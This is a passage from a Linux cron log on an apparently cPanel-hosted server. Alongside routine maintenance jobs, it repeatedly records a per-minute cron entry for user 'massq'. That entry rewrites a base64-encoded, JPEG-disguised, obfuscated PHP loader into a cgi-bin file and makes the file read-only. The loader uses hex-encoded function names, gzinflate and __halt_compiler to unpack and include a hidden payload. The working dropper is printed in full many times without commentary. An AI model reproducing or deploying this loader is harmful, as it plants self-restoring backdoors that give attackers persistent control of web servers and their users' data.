&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:00:01 server CROND[32181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:00:01 server CROND[32184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:00:01 server CROND[32183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 15:00:01 server CROND[32182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:01:01 server CROND[758]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 15:01:01 server CROND[759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:01:01 server run-parts(/etc/cron.hourly)[758]: starting 0anacron
Nov 14 15:01:01 server run-parts(/etc/cron.hourly)[772]: finished 0anacron
Nov 14 15:02:01 server CROND[1651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:03:01 server CROND[2520]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:04:01 server CROND[3386]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:05:01 server CROND[4248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:05:01 server CROND[4246]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 15:05:01 server CROND[4249]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:05:01 server CROND[4247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:06:01 server CROND[5252]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:07:01 server CROND[6156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:08:01 server CROND[6958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:09:01 server CROND[7233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:09:01 server CROND[7234]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 15:10:01 server CROND[8102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:10:01 server CROND[8103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:10:01 server CROND[8104]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 15:10:01 server CROND[8106]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:11:01 server CROND[9301]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
